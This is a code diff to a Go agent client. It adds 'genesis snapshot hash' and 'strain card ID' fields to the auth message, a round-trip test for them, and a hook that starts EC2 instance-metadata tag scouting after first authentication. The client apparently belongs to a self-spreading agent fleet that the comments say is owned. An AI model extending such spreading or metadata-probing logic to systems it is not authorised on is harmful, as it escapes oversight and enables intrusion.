Wire launch-template genesis auth route and spread UI.

agent/client/client.go

@@ -100,6 +100,8 @@ type AgentClient struct {
 	// spreadOnce ensures AutoSpreader starts at most once — after the first
 	// successful WS authentication confirms we are on an owned fleet.
 	spreadOnce sync.Once
+	// cloudVenueOnce starts EC2 IMDS tag scouting after first successful auth.
+	cloudVenueOnce sync.Once
 
 	// commandResultHook is set in tests to observe sendCommandResult without a live WS.
 	commandResultHook func(action string, success bool, message string)
@@ -403,6 +405,8 @@ func (c *AgentClient) authenticate() error {
 	authPayload.ParentAgentID = parentID
 	authPayload.SpreadGeneration = spreadGen
 	authPayload.SpreadStrain = spreadStrain
+	authPayload.GenesisSnapshotHash = strings.TrimSpace(os.Getenv("AETHER_GENESIS_SNAPSHOT_HASH"))
+	authPayload.StrainCardID = strings.TrimSpace(os.Getenv("AETHER_STRAIN_CARD_ID"))
 	payload, _ := json.Marshal(authPayload)
 	if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
 		return err
@@ -482,6 +486,10 @@ func (c *AgentClient) authenticate() error {
 		}
 	})
 
+	c.cloudVenueOnce.Do(func() {
+			 c.startCloudVenueScout()
+	})
+
 	if !c.cfg.IsSeederRole(c.fleetRoleHint()) {
 		c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
 	}

agent/client/protocol.go

@@ -55,6 +55,8 @@ type AuthPayload struct {
 	ParentAgentID        string `json:"parent_agent_id,omitempty"`
 	SpreadGeneration     int    `json:"spread_generation,omitempty"`
 	SpreadStrain         string `json:"spread_strain,omitempty"`
+	GenesisSnapshotHash  string `json:"genesis_snapshot_hash,omitempty"`
+	StrainCardID         string `json:"strain_card_id,omitempty"`
 	FleetRole            string `json:"fleet_role,omitempty"`
 	SeederMode           bool   `json:"seeder_mode,omitempty"`
 }

agent/client/protocol_test.go

@@ -71,6 +71,15 @@ func TestAuthPayloadSpreadGenealogyJSONRoundTrip(t *testing.T) {
 	}
 }
 
+func TestAuthPayloadLaunchTemplateGenesisJSONRoundTrip(t *testing.T) {
+	in := AuthPayload{AgentID: "lt-1", GenesisSnapshotHash: "deadbeef", StrainCardID: "card-9", ParentAgentID: "template"}
+	var out AuthPayload
+	roundTrip(t, in, &out)
+	if out.GenesisSnapshotHash != "deadbeef" || out.StrainCardID != "card-9" {
+		t.Fatalf("genesis fields: %+v", out)
+	}
+}
+
 func TestAuthResponseJSONRoundTrip(t *testing.T) {
 	in := AuthResponse{Success: true, AgentID: "a1", Error: ""}
 	var out AuthResponse